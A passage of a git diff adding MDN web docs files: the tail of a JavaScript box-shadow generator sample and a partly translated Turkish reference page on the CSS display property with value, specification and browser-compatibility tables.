0; + this.top = 0; + this.rotate = 0; + this.width = 300; + this.height = 100; + this.display = true; + this.border = true; + this.zIndex = -1; + this.bgcolor = new Color(); + this.id = id; + this.node = getElemById('obj-' + id); + this.object = getElemById(id); + this.shadowID = null; + this.shadows = [] + this.render = []; + this.init(); + } + + CssClass.prototype.init = function init() { + this.left = ((this.node.parentNode.clientWidth - this.node.clientWidth) / 2) | 0; + this.top = ((this.node.parentNode.clientHeight - this.node.clientHeight) / 2) | 0; + + this.setTop(this.top); + this.setLeft(this.left); + this.setHeight(this.height); + this.setWidth(this.width); + this.bgcolor.setHSV(0, 0, 100); + this.updateBgColor(this.bgcolor); + } + + CssClass.prototype.updatePos = function updatePos(deltaX, deltaY) { + this.left += deltaX; + this.top += deltaY; + this.node.style.top = this.top + "px"; + this.node.style.left = this.left + "px"; + SliderManager.setValue("left", this.left); + SliderManager.setValue("top", this.top); + } + + CssClass.prototype.setLeft = function setLeft(value) { + this.left = value; + this.node.style.left = this.left + "px"; + OutputManager.updateProperty(this.id, 'left', this.left + 'px'); + } + + CssClass.prototype.setTop = function setTop(value) { + this.top = value; + this.node.style.top = this.top + 'px'; + OutputManager.updateProperty(this.id, 'top', this.top + 'px'); + } + + CssClass.prototype.setWidth = function setWidth(value) { + this.width = value; + this.node.style.width = this.width + 'px'; + OutputManager.updateProperty(this.id, 'width', this.width + 'px'); + } + + CssClass.prototype.setHeight = function setHeight(value) { + this.height = value; + this.node.style.height = this.height + 'px'; + OutputManager.updateProperty(this.id, 'height', this.height + 'px'); + } + + // Browser support + CssClass.prototype.setRotate = function setRotate(value) { + var cssvalue = 'rotate(' + value +'deg)'; + + this.node.style.transform = cssvalue; + this.node.style.webkitTransform = cssvalue; + this.node.style.msTransform = cssvalue; + + if (value !== 0) { + if (this.rotate === 0) { + OutputManager.toggleProperty(this.id, 'transform', true); + OutputManager.toggleProperty(this.id, '-webkit-transform', true); + OutputManager.toggleProperty(this.id, '-ms-transform', true); + } + } + else { + OutputManager.toggleProperty(this.id, 'transform', false); + OutputManager.toggleProperty(this.id, '-webkit-transform', false); + OutputManager.toggleProperty(this.id, '-ms-transform', false); + } + + OutputManager.updateProperty(this.id, 'transform', cssvalue); + OutputManager.updateProperty(this.id, '-webkit-transform', cssvalue); + OutputManager.updateProperty(this.id, '-ms-transform', cssvalue); + this.rotate = value; + } + + CssClass.prototype.setzIndex = function setzIndex(value) { + this.node.style.zIndex = value; + OutputManager.updateProperty(this.id, 'z-index', value); + this.zIndex = value; + } + + CssClass.prototype.toggleDisplay = function toggleDisplay(value) { + if (typeof value !== "boolean" || this.display === value) + return; + + this.display = value; + var display = this.display === true ? "block" : "none"; + this.node.style.display = display; + this.object.style.display = display; + } + + CssClass.prototype.toggleBorder = function toggleBorder(value) { + if (typeof value !== "boolean" || this.border === value) + return; + + this.border = value; + var border = this.border === true ? "1px solid #CCC" : "none"; + this.node.style.border = border; + } + + CssClass.prototype.updateBgColor = function updateBgColor(color) { + this.bgcolor.copy(color); + this.node.style.backgroundColor = color.getColor(); + OutputManager.updateProperty(this.id, 'background-color', color.getColor()); + } + + CssClass.prototype.updateShadows = function updateShadows() { + if (this.render.length === 0) + OutputManager.toggleProperty(this.id, 'box-shadow', false); + if (this.render.length === 1) + OutputManager.toggleProperty(this.id, 'box-shadow', true); + + this.node.style.boxShadow = this.render.join(", "); + OutputManager.updateProperty(this.id, 'box-shadow', this.render.join(", \n")); + + } + + + /** + * Tool Manager + */ + var Tool = (function Tool() { + + var preview; + var classes = []; + var active = null; + var animate = false; + + /* + * Toll actions + */ + var addCssClass = function addCssClass(id) { + classes[id] = new CssClass(id); + } + + var setActiveClass = function setActiveClass(id) { + active = classes[id]; + active.shadowID = null; + ColoPicker.setColor(classes[id].bgcolor); + SliderManager.setValue("top", active.top); + SliderManager.setValue("left", active.left); + SliderManager.setValue("rotate", active.rotate); + SliderManager.setValue("z-index", active.zIndex); + SliderManager.setValue("width", active.width); + SliderManager.setValue("height", active.height); + ButtonManager.setValue("border-state", active.border); + active.updateShadows(); + } + + var disableClass = function disableClass(topic) { + classes[topic].toggleDisplay(false); + ButtonManager.setValue(topic, false); + } + + var addShadow = function addShadow(position) { + if (animate === true) + return -1; + + active.shadows.splice(position, 0, new Shadow()); + active.render.splice(position, 0, null); + } + + var swapShadow = function swapShadow(id1, id2) { + var x = active.shadows[id1]; + active.shadows[id1] = active.shadows[id2]; + active.shadows[id2] = x; + updateShadowCSS(id1); + updateShadowCSS(id2); + } + + var deleteShadow = function deleteShadow(position) { + active.shadows.splice(position, 1); + active.render.splice(position, 1); + active.updateShadows(); + } + + var setActiveShadow = function setActiveShadow(id, glow) { + active.shadowID = id; + ColoPicker.setColor(active.shadows[id].color); + ButtonManager.setValue("inset", active.shadows[id].inset); + SliderManager.setValue("blur", active.shadows[id].blur); + SliderManager.setValue("spread", active.shadows[id].spread); + SliderManager.setValue("posX", active.shadows[id].posX); + SliderManager.setValue("posY", active.shadows[id].posY); + if (glow === true) + addGlowEffect(id); + } + + var addGlowEffect = function addGlowEffect(id) { + if (animate === true) + return; + + animate = true; + var store = new Shadow(); + var shadow = active.shadows[id]; + + store.copy(shadow); + shadow.color.setRGBA(40, 125, 200, 1); + shadow.blur = 10; + shadow.spread = 10; + + active.node.style.transition = "box-shadow 0.2s"; + updateShadowCSS(id); + + setTimeout(function() { + shadow.copy(store); + updateShadowCSS(id); + setTimeout(function() { + active.node.style.removeProperty("transition"); + animate = false; + }, 100); + }, 200); + } + + var updateActivePos = function updateActivePos(deltaX, deltaY) { + if (active.shadowID === null) + active.updatePos(deltaX, deltaY); + else + updateShadowPos(deltaX, deltaY); + } + + /* + * Shadow properties + */ + var updateShadowCSS = function updateShadowCSS(id) { + active.render[id] = active.shadows[id].computeCSS(); + active.updateShadows(); + } + + var toggleShadowInset = function toggleShadowInset(value) { + if (active.shadowID === null) + return; + active.shadows[active.shadowID].toggleInset(value); + updateShadowCSS(active.shadowID); + } + + var updateShadowPos = function updateShadowPos(deltaX, deltaY) { + var shadow = active.shadows[active.shadowID]; + shadow.posX += deltaX; + shadow.posY += deltaY; + SliderManager.setValue("posX", shadow.posX); + SliderManager.setValue("posY", shadow.posY); + updateShadowCSS(active.shadowID); + } + + var setShadowPosX = function setShadowPosX(value) { + if (active.shadowID === null) + return; + active.shadows[active.shadowID].posX = value; + updateShadowCSS(active.shadowID); + } + + var setShadowPosY = function setShadowPosY(value) { + if (active.shadowID === null) + return; + active.shadows[active.shadowID].posY = value; + updateShadowCSS(active.shadowID); + } + + var setShadowBlur = function setShadowBlur(value) { + if (active.shadowID === null) + return; + active.shadows[active.shadowID].blur = value; + updateShadowCSS(active.shadowID); + } + + var setShadowSpread = function setShadowSpread(value) { + if (active.shadowID === null) + return; + active.shadows[active.shadowID].spread = value; + updateShadowCSS(active.shadowID); + } + + var updateShadowColor = function updateShadowColor(color) { + active.shadows[active.shadowID].color.copy(color); + updateShadowCSS(active.shadowID); + } + + /* + * Element Properties + */ + var updateColor = function updateColor(color) { + if (active.shadowID === null) + active.updateBgColor(color); + else + updateShadowColor(color); + } + + var init = function init() { + preview = getElemById("preview"); + + ColoPicker.subscribe("color", updateColor); + PreviewMouseTracking.subscribe(updateActivePos); + + // Affects shadows + ButtonManager.subscribe("inset", toggleShadowInset); + SliderManager.subscribe("posX", setShadowPosX); + SliderManager.subscribe("posY", setShadowPosY); + SliderManager.subscribe("blur", setShadowBlur); + SliderManager.subscribe("spread", setShadowSpread); + + // Affects element + SliderManager.subscribe("top", function(value){ + active.setTop(value); + }); + SliderManager.subscribe("left", function(value){ + active.setLeft(value); + }); + SliderManager.subscribe("rotate", function(value) { + if (active == classes["element"]) + return; + active.setRotate(value); + }); + + SliderManager.subscribe("z-index", function(value) { + if (active == classes["element"]) + return; + active.setzIndex(value); + }); + + SliderManager.subscribe("width", function(value) { + active.setWidth(value) + }); + + SliderManager.subscribe("height", function(value) { + active.setHeight(value) + }); + + // Actions + classes['before'].top = -30; + classes['before'].left = -30; + classes['after'].top = 30; + classes['after'].left = 30; + classes['before'].toggleDisplay(false); + classes['after'].toggleDisplay(false); + ButtonManager.setValue('before', false); + ButtonManager.setValue('after', false); + + ButtonManager.subscribe("before", classes['before'].toggleDisplay.bind(classes['before'])); + ButtonManager.subscribe("after", classes['after'].toggleDisplay.bind(classes['after'])); + + ButtonManager.subscribe("border-state", function(value) { + active.toggleBorder(value); + }); + + } + + return { + init : init, + addShadow : addShadow, + swapShadow : swapShadow, + addCssClass : addCssClass, + disableClass : disableClass, + deleteShadow : deleteShadow, + setActiveClass : setActiveClass, + setActiveShadow : setActiveShadow + } + + })(); + + /** + * Layer Manager + */ + var LayerManager = (function LayerManager() { + var stacks = []; + var active = { + node : null, + stack : null + } + var elements = {}; + + var mouseEvents = function mouseEvents(e) { + var node = e.target; + var type = node.getAttribute('data-type'); + + if (type === 'subject') + setActiveStack(stacks[node.id]); + + if (type === 'disable') { + Tool.disableClass(node.parentNode.id); + setActiveStack(stacks['element']); + } + + if (type === 'add') + active.stack.addLayer(); + + if (type === 'layer') + active.stack.setActiveLayer(node); + + if (type === 'delete') + active.stack.deleteLayer(node.parentNode); + + if (type === 'move-up') + active.stack.moveLayer(1); + + if (type === 'move-down') + active.stack.moveLayer(-1); + } + + var setActiveStack = function setActiveStack(stackObj) { + active.stack.hide(); + active.stack = stackObj; + active.stack.show(); + } + + /* + * Stack object + */ + var Stack = function Stack(subject) { + var S = document.createElement('div'); + var title = document.createElement('div'); + var stack = document.createElement('div'); + + S.className = 'container'; + stack.className = 'stack'; + title.className = 'title'; + title.textContent = subject.getAttribute('data-title'); + S.appendChild(title); + S.appendChild(stack); + + this.id = subject.id; + this.container = S; + this.stack = stack; + this.subject = subject; + this.order = []; + this.uid = 0; + this.count = 0; + this.layer = null; + this.layerID = 0; + } + + Stack.prototype.addLayer = function addLayer() { + if (Tool.addShadow(this.layerID) == -1) + return; + + var uid = this.getUID(); + var layer = this.createLayer(uid); + + if (this.layer === null && this.stack.children.length >= 1) + this.layer = this.stack.children[0]; + + this.stack.insertBefore(layer, this.layer); + this.order.splice(this.layerID, 0, uid); + this.count++; + this.setActiveLayer(layer); + } + + Stack.prototype.createLayer = function createLayer(uid) { + var layer = document.createElement('div'); + var del = document.createElement('span'); + + layer.className = 'node'; + layer.setAttribute('data-shid', uid); + layer.setAttribute('data-type', 'layer'); + layer.textContent = 'shadow ' + uid; + + del.className = 'delete'; + del.setAttribute('data-type', 'delete'); + + layer.appendChild(del); + return layer; + } + + Stack.prototype.getUID = function getUID() { + return this.uid++; + } + + // SOLVE IE BUG + Stack.prototype.moveLayer = function moveLayer(direction) { + if (this.count <= 1 || this.layer === null) + return; + if (direction === -1 && this.layerID === (this.count - 1) ) + return; + if (direction === 1 && this.layerID === 0 ) + return; + + if (direction === -1) { + var before = null; + Tool.swapShadow(this.layerID, this.layerID + 1); + this.swapOrder(this.layerID, this.layerID + 1); + this.layerID += 1; + + if (this.layerID + 1 !== this.count) + before = this.stack.children[this.layerID + 1]; + + this.stack.insertBefore(this.layer, before); + Tool.setActiveShadow(this.layerID, false); + } + + if (direction === 1) { + Tool.swapShadow(this.layerID, this.layerID - 1); + this.swapOrder(this.layerID, this.layerID - 1); + this.layerID -= 1; + this.stack.insertBefore(this.layer, this.stack.children[this.layerID]); + Tool.setActiveShadow(this.layerID, false); + } + } + + Stack.prototype.swapOrder = function swapOrder(pos1, pos2) { + var x = this.order[pos1]; + this.order[pos1] = this.order[pos2]; + this.order[pos2] = x; + } + + Stack.prototype.deleteLayer = function deleteLayer(node) { + var shadowID = node.getAttribute('data-shid') | 0; + var index = this.order.indexOf(shadowID); + this.stack.removeChild(this.stack.children[index]); + this.order.splice(index, 1); + this.count--; + + Tool.deleteShadow(index); + + if (index > this.layerID) + return; + + if (index == this.layerID) { + if (this.count >= 1) { + this.layerID = 0; + this.setActiveLayer(this.stack.children[0], true); + } + else { + this.layer = null; + this.show(); + } + } + + if (index < this.layerID) { + this.layerID--; + Tool.setActiveShadow(this.layerID, true); + } + + } + + Stack.prototype.setActiveLayer = function setActiveLayer(node) { + elements.shadow_properties.style.display = 'block'; + elements.element_properties.style.display = 'none'; + + if (this.layer) + this.layer.removeAttribute('data-active'); + + this.layer = node; + this.layer.setAttribute('data-active', 'layer'); + + var shadowID = node.getAttribute('data-shid') | 0; + this.layerID = this.order.indexOf(shadowID); + Tool.setActiveShadow(this.layerID, true); + } + + Stack.prototype.unsetActiveLayer = function unsetActiveLayer() { + if (this.layer) + this.layer.removeAttribute('data-active'); + + this.layer = null; + this.layerID = 0; + } + + Stack.prototype.hide = function hide() { + this.unsetActiveLayer(); + this.subject.removeAttribute('data-active'); + var style = this.container.style; + style.left = '100%'; + style.zIndex = '0'; + } + + Stack.prototype.show = function show() { + elements.shadow_properties.style.display = 'none'; + elements.element_properties.style.display = 'block'; + + if (this.id === 'element') { + elements.zIndex.style.display = 'none'; + elements.transform_rotate.style.display = 'none'; + } + else { + elements.zIndex.style.display = 'block'; + elements.transform_rotate.style.display = 'block'; + } + + this.subject.setAttribute('data-active', 'subject'); + var style = this.container.style; + style.left = '0'; + style.zIndex = '10'; + Tool.setActiveClass(this.id); + } + + function init() { + + var elem, size; + var layerManager = getElemById("layer_manager"); + var layerMenu = getElemById("layer_menu"); + var container = getElemById("stack_container"); + + elements.shadow_properties = getElemById('shadow_properties'); + elements.element_properties = getElemById('element_properties'); + elements.transform_rotate = getElemById('transform_rotate'); + elements.zIndex = getElemById('z-index'); + + elem = document.querySelectorAll('#layer_menu [data-type="subject"]'); + size = elem.length; + + for (var i = 0; i < size; i++) { + var S = new Stack(elem[i]); + stacks[elem[i].id] = S; + container.appendChild(S.container); + Tool.addCssClass(elem[i].id); + } + + active.stack = stacks['element']; + stacks['element'].show(); + + layerManager.addEventListener("click", mouseEvents); + layerMenu.addEventListener("click", mouseEvents); + + ButtonManager.subscribe("before", function(value) { + if (value === false && active.stack === stacks['before']) + setActiveStack(stacks['element']) + if (value === true && active.stack !== stacks['before']) + setActiveStack(stacks['before']) + }); + + ButtonManager.subscribe("after", function(value) { + if (value === false && active.stack === stacks['after']) + setActiveStack(stacks['element']) + if (value === true && active.stack !== stacks['after']) + setActiveStack(stacks['after']) + }); + } + + return { + init : init + } + })(); + + /* + * OutputManager + */ + var OutputManager = (function OutputManager() { + var classes = []; + var buttons = []; + var active = null; + var menu = null; + var button_offset = 0; + + var crateOutputNode = function(topic, property) { + + var prop = document.createElement('div'); + var name = document.createElement('span'); + var value = document.createElement('span'); + + var pmatch = property.match(/(^([a-z0-9\-]*)=\[([a-z0-9\-\"]*)\])|^([a-z0-9\-]*)/i); + + name.textContent = '\t' + pmatch[4]; + + if (pmatch[3] !== undefined) { + name.textContent = '\t' + pmatch[2]; + value.textContent = pmatch[3] + ';'; + } + + name.textContent += ': '; + prop.className = 'css-property'; + name.className = 'name'; + value.className = 'value'; + prop.appendChild(name); + prop.appendChild(value); + + classes[topic].node.appendChild(prop); + classes[topic].line[property] = prop; + classes[topic].prop[property] = value; + } + + var OutputClass = function OutputClass(node) { + var topic = node.getAttribute('data-topic'); + var prop = node.getAttribute('data-prop'); + var name = node.getAttribute('data-name'); + var properties = prop.split(' '); + + classes[topic] = {}; + classes[topic].node = node; + classes[topic].prop = []; + classes[topic].line = []; + classes[topic].button = new Button(topic); + + var open_decl = document.createElement('div'); + var end_decl = document.createElement('div'); + + open_decl.textContent = name + ' {'; + end_decl.textContent = '}'; + node.appendChild(open_decl); + + for (var i in properties) + crateOutputNode(topic, properties[i]); + + node.appendChild(end_decl); + } + + var Button = function Button(topic) { + var button = document.createElement('div'); + + button.className = 'button'; + button.textContent = topic; + button.style.left = button_offset + 'px'; + button_offset += 100; + + button.addEventListener("click", function() { + toggleDisplay(topic); + }) + + menu.appendChild(button); + return button; + } + + var toggleDisplay = function toggleDisplay(topic) { + active.button.removeAttribute('data-active'); + active.node.style.display = 'none'; + active = classes[topic]; + active.node.style.display = 'block'; + active.button.setAttribute('data-active', 'true'); + } + + var toggleButton = function toggleButton(topic, value) { + var display = (value === true) ? 'block' : 'none'; + classes[topic].button.style.display = display; + + if (value === true) + toggleDisplay(topic); + else + toggleDisplay('element'); + } + + var updateProperty = function updateProperty(topic, property, data) { + try { + classes[topic].prop[property].textContent = data + ';'; + } + catch(error) { + // console.log("ERROR undefined : ", topic, property, data); + } + } + + var toggleProperty = function toggleProperty(topic, property, value) { + var display = (value === true) ? 'block' : 'none'; + try { + classes[topic].line[property].style.display = display; + } + catch(error) { + // console.log("ERROR undefined : ",classes, topic, property, value); + } + } + + var init = function init() { + + menu = getElemById('menu'); + + var elem = document.querySelectorAll('#output .output'); + var size = elem.length; + for (var i = 0; i < size; i++) + OutputClass(elem[i]); + + active = classes['element']; + toggleDisplay('element'); + + ButtonManager.subscribe("before", function(value) { + toggleButton('before', value); + }); + + ButtonManager.subscribe("after", function(value) { + toggleButton('after', value); + }); + } + + return { + init : init, + updateProperty : updateProperty, + toggleProperty : toggleProperty + } + + })(); + + + /** + * Init Tool + */ + var init = function init() { + ButtonManager.init(); + OutputManager.init(); + ColoPicker.init(); + SliderManager.init(); + LayerManager.init(); + PreviewMouseTracking.init("preview"); + Tool.init(); + } + + return { + init : init + } + +})(); + + +</code></pre> +</div> + +<div>{{ EmbedLiveSample('box-shadow_generator', '100%', '1100px', '') }}</div> + +<p><strong>Related Tool: </strong><a href="https://cssgenerator.org/box-shadow-css-generator.html">Box Shadow CSS Generator</a></p> diff --git a/files/tr/web/css/display/index.html b/files/tr/web/css/display/index.html new file mode 100644 index 0000000000..b6ee8f9389 --- /dev/null +++ b/files/tr/web/css/display/index.html @@ -0,0 +1,446 @@ +--- +title: display +slug: Web/CSS/display +tags: + - CSS + - CSS özelliği + - Referans +translation_of: Web/CSS/display +--- +<div>{{CSSRef}}</div> + +<h2 id="Özet">Özet</h2> + +<p><strong><code>display</code> </strong>özelliği, bir eleman için kullanılan kutu görüntüleme türünü belirler. HTML'de, varsayılan <code>display</code> değeri, daha önceden belirlenmiş HTML spesifikasyonlarından ya da tarayıcı/kullanıcı varsayılan stil şablonundan alınır. XML'de varsayılan <code>display</code> değeri <code>inline</code>'dır.</p> + +<p>Bir çok farklı kutu görüntüleme tipi olmasıyla birlikte, <code>none </code>değeri bir elementi görüntülemeye kapatır, bu değeri kullandığınızda, bütün alt elemanlar da görüntülenmezler. Belge, o eleman yokmuş gibi görüntülenir.</p> + +<p>{{cssinfo}}</p> + +<h2 id="Sözdizimi_kuralları">Sözdizimi kuralları</h2> + +<pre class="brush:css">display: none; +display: inline; +display: block; +display: inline-block; +display: contents; +display: list-item; +display: inline-list-item; +display: table; +display: inline-table; +display: table-cell; +display: table-column; +display: table-column-group; +display: table-footer-group; +display: table-header-group; +display: table-row; +display: table-row-group; +display: table-caption; +display: flex; +display: inline-flex; +display: grid; +display: inline-grid; +display: ruby; +display: ruby-base; +display: ruby-text; +display: ruby-base-container; +display: ruby-text-container; +display: run-in; + +/* Global values */ +display: inherit; +display: initial; +display: unset; +</pre> + +<h3 id="Değerler">Değerler</h3> + +<p><em><strong>display-value </strong></em>bir elementin görüntülenme biçimini tanımlamak için kullanılan bir değerdir.</p> + +<dl> + <dd> + <table class="standard-table"> + <thead> + <tr> + <td class="header" colspan="1">Değer kümesi</td> + <td class="header">Değer</td> + <td class="header">Tanım</td> + </tr> + </thead> + <tbody> + <tr> + <td colspan="1" rowspan="4">Basic values (CSS 1)</td> + <td><code>none</code></td> + <td> + <p>Elementi görüntülemeye kapatır.(Tasarım değişikliğe uğramaz.);bütün alt elementler de görüntülenmez. Belge, bu element yokmuş gibi davranır.</p> + + <p>Görüntülemeye kapadığınız elementin kutu boyutlarının halen tasarımda var olmasını istiyorsanız {{cssxref("visibility")}} özelliğine gözatın.</p> + </td> + </tr> + <tr> + <td><code>inline</code></td> + <td>bir veya daha fazla satıriçi kutusu oluşturur.</td> + </tr> + <tr> + <td><code>block</code></td> + <td>blok element kutusu oluşturur.</td> + </tr> + <tr> + <td><code>list-item</code></td> + <td>Element içerik için bir blok kutusu oluşturur, ve içeriği listeye ayırır.</td> + </tr> + <tr> + <td>Gelişletilmiş değerler (CSS 2.1)</td> + <td><code>inline-block</code></td> + <td>inline-block değeri, kendisini çevreleyen bir block element alanı oluşturur.</td> + </tr> + <tr> + <td colspan="1" rowspan="10">Table model değerler (CSS 2.1)</td> + <td><code>inline-table</code></td> + <td><code>inline-table </code>değeri HTML üzerinde direkt olarak bir mapping'e sahip değildir. {{HTMLElement("table")}} HTML elementi gibi davranır ancak farklı olarak, block elementi değil, inline-block özelliklerini taşır.</td> + </tr> + <tr> + <td><code>table</code></td> + <td>Bu elementler block {{HTMLElement("table")}} gibi davranır.</td> + </tr> + <tr> + <td><code>table-caption</code></td> + <td>Bu elementler {{HTMLElement("caption")}} HTML elementler gibi davranır.</td> + </tr> + <tr> + <td><code>table-cell</code></td> + <td>Bu elementler {{HTMLElement("td")}} gibi davranır..</td> + </tr> + <tr> + <td><code>table-column</code></td> + <td>Bu elementler {{HTMLElement("col")}} gibi davranır.</td> + </tr> + <tr> + <td><code>table-column-group</code></td> + <td>Bu elementler {{HTMLElement("colgroup")}} gibi davranır.</td> + </tr> + <tr> + <td><code>table-footer-group</code></td> + <td>Bu elementler {{HTMLElement("tfoot")}} gibi davranır.</td> + </tr> + <tr> + <td><code>table-header-group</code></td> + <td>Bu elementler {{HTMLElement("thead")}} gibi davranır.</td> + </tr> + <tr> + <td><code>table-row</code></td> + <td>Bu elementler {{HTMLElement("tr")}} gibi davranır.</td> + </tr> + <tr> + <td><code>table-row-group</code></td> + <td>Bu elementler {{HTMLElement("tbody")}} gibi davranır.</td> + </tr> + <tr> + <td colspan="1">CSS3 liste değerleri (<a href="/en-US/docs/CSS/CSS3" title="CSS3">CSS3</a>)</td> + <td><a href="https://drafts.csswg.org/css-lists/#valdef-display-inline-list-item">inline-list-item</a></td> + <td>The inline-list-item display value makes the element a list item, with the effects described above. Additionally, the outside value of list-style-position computes to inside on this element. Otherwise, this display value is treated identically to inline.</td> + </tr> + <tr> + <td colspan="1" rowspan="2">Flexbox model değerleri (<a href="/en-US/docs/CSS/CSS3" title="CSS3">CSS3</a>)</td> + <td><code>flex</code></td> + <td>Element, block elementi gibi davranır ve flexbox modeline uygun olarak görünür.</td> + </tr> + <tr> + <td><code>inline-flex</code></td> + <td>Element inline element gibi davranır ve flexbox modeline uygun olarak görünür.</td> + </tr> + <tr> + <td colspan="1" rowspan="2">Grid box model değerleri (<a href="/en-US/docs/CSS/CSS3" title="CSS3">CSS3</a>) {{experimental_inline}}</td> + <td><code>grid</code></td> + <td> + <p>Element, block elementi gibi davranır ve<br> + grid modeline uygun olarak görünür.</p> + + <div class="note">Deneyimlenebileceği üzere, <a href="/en-US/docs/CSS/display#Browser_Compatibility" title="https://developer.mozilla.org/en/CSS/display#Browser_Compatibility">çoğu tarayıcı henüz desteklememektedir</a>. Özellikle <code>-moz-grid</code> 'in display:grid'e ait bir prefix olmadığını belirtmeliyiz. -moz-grid <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=616605#c10" title="https://bugzilla.mozilla.org/show_bug.cgi?id=616605#c10">XUL layout model</a> 'de belirtilen ve kullanmamanız gereken bir prefix'tir.</div> + </td> + </tr> + <tr> + <td><code>inline-grid</code></td> + <td>Element inline element gibi davranır ve grid modeline bağlı olarak içeriği kapsar.</td> + </tr> + <tr> + <td colspan="1" rowspan="5">Ruby formatting model values (<a href="/en-US/docs/CSS/CSS3" title="CSS3">CSS3</a>){{experimental_inline}}</td> + <td><code>ruby</code></td> + <td>Element inline element gibi davranır ve<br> + içeriği ruby format modelinde kapsar {{HTMLElement("ruby")}} gibi davranır.</td> + </tr> + <tr> + <td><code>ruby-base</code></td> + <td>Bu elementler {{HTMLElement("rb")}} gibi davranır.</td> + </tr> + <tr> + <td><code>ruby-text</code></td> + <td>Bu elementler {{HTMLElement("rt")}} gibi davranır</td> + </tr> + <tr> + <td><code>ruby-base-container</code></td> + <td>These elements behave like {{HTMLElement("rbc")}} elements generated as anonymous boxes.</td> + </tr> + <tr> + <td><code>ruby-text-container</code></td> + <td>These elements behave like {{HTMLElement("rtc")}} elements.</td> + </tr> + <tr> + <td colspan="1" rowspan="2">Experimental values {{experimental_inline}}</td> + <td><code>run-in</code></td> + <td> + <ul> + <li>If the run-in box contains a block box, same as block.</li> + <li>If a block box follows the run-in box, the run-in box becomes the first inline box of the block box.</li> + <li>If an inline box follows, the run-in box becomes a block box.</li> + </ul> + </td> + </tr> + <tr> + <td><code>contents</code></td> + <td>These elements don't produce a specific box by themselves. They are replaced by their pseudo-box and their child boxes.</td> + </tr> + </tbody> + </table> + </dd> +</dl> + +<h3 id="Formal_syntax">Formal syntax</h3> + +<pre class="syntaxbox">{{csssyntax}}</pre> + +<h2 id="Examples">Examples</h2> + +<p><a href="/samples/cssref/display.html">View Live Examples</a></p> + +<pre class="brush: css">p.secret { display: none } +<p style="display:none"> invisible text </p> +</pre> + +<h2 id="Specifications" name="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSS3 Lists', '#valdef-display-inline-list-item', 'display')}}</td> + <td>{{Spec2('CSS3 Lists')}}</td> + <td>Added the inline-list-item values.</td> + </tr> + <tr> + <td>{{SpecName('CSS3 Display', '#the-display-properties', 'display')}}</td> + <td>{{Spec2('CSS3 Display')}}</td> + <td>Added the <code>run-in</code> and <code>contents</code> values.</td> + </tr> + <tr> + <td>{{SpecName('CSS3 Ruby', '#ruby-display', 'display')}}</td> + <td>{{Spec2('CSS3 Ruby')}}</td> + <td>Added the <code>ruby</code>, <code>ruby-base</code>, <code>ruby-text</code>, <code>ruby-base-container</code>, and <code>ruby-text-container </code></td> + </tr> + <tr> + <td>{{SpecName('CSS3 Grid', '#grid-containers', 'display')}}</td> + <td>{{Spec2('CSS3 Grid')}}</td> + <td>Added the grid box model values.</td> + </tr> + <tr> + <td>{{SpecName('CSS3 Flexbox', '#flex-containers', 'display')}}</td> + <td>{{Spec2('CSS3 Flexbox')}}</td> + <td>Added the flexible box model values.</td> + </tr> + <tr> + <td>{{SpecName('CSS2.1', 'visuren.html#display-prop', 'display')}}</td> + <td>{{Spec2('CSS2.1')}}</td> + <td>Added the table model values and <code>inline-block<em>.</em></code></td> + </tr> + <tr> + <td>{{SpecName('CSS1', '#display', 'display')}}</td> + <td>{{Spec2('CSS1')}}</td> + <td>Initial definition. Basic values: <code>none</code>, <code>block</code>, <code>inline</code>, and <code>list-item</code>.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td><code>none</code>, <code>inline</code> and <code>block</code></td> + <td>1.0</td> + <td>{{CompatGeckoDesktop("1.0")}}</td> + <td>4.0</td> + <td>7.0</td> + <td>1.0 (85)</td> + </tr> + <tr> + <td><code>inline-block</code></td> + <td>1.0</td> + <td>{{CompatGeckoDesktop("1.9")}}</td> + <td>5.5 [4]</td> + <td>7.0</td> + <td>1.0 (85)</td> + </tr> + <tr> + <td><code>list-item</code></td> + <td>1.0</td> + <td>{{CompatGeckoDesktop("1.0")}}</td> + <td>6.0</td> + <td>7.0</td> + <td>1.0 (85)</td> + </tr> + <tr> + <td>inline-list-item</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}} [6]</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td rowspan="2"><code>run-in</code> {{experimental_inline}}</td> + <td>1.0 [5]</td> + <td rowspan="2">{{CompatNo}}</td> + <td rowspan="2">8.0</td> + <td rowspan="2">7.0</td> + <td>1.0 (85) [5]</td> + </tr> + <tr> + <td> + <p>4.0</p> + + <p>Removed in 32</p> + </td> + <td> + <p>5.0 (532.5)</p> + + <p>Removed in 8.0</p> + </td> + </tr> + <tr> + <td><code>inline-table</code></td> + <td>1.0</td> + <td>{{CompatGeckoDesktop("1.9")}}</td> + <td>8.0</td> + <td>7.0</td> + <td>1.0 (85)</td> + </tr> + <tr> + <td><code>table</code>, <code>table-cell</code>, <code>table-column</code>, <code>table-column-group</code>, <code>table-header-group</code>, <code>table-row-group</code>, <code>table-footer-group</code>, <code>table-row</code>, and <code>table-caption</code></td> + <td>1.0</td> + <td>{{CompatGeckoDesktop("1.0")}}</td> + <td>8.0</td> + <td>7.0</td> + <td>1.0 (85)</td> + </tr> + <tr> + <td><code>flex</code></td> + <td>21.0{{property_prefix("-webkit")}}</td> + <td>{{CompatGeckoDesktop("18.0")}} [1]<br> + {{CompatGeckoDesktop("20.0")}}</td> + <td>11</td> + <td>12.50</td> + <td>6.1{{property_prefix("-webkit")}}</td> + </tr> + <tr> + <td><code>inline-flex</code></td> + <td>21.0{{property_prefix("-webkit")}}</td> + <td>{{CompatGeckoDesktop("18.0")}} [1]<br> + {{CompatGeckoDesktop("20.0")}}</td> + <td>11</td> + <td>12.50</td> + <td>6.1{{property_prefix("-webkit")}}</td> + </tr> + <tr> + <td><code>grid</code> {{experimental_inline}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatNo}}</td> + <td>10.0{{property_prefix("-ms")}}</td> + <td>{{CompatUnknown}}</td> + 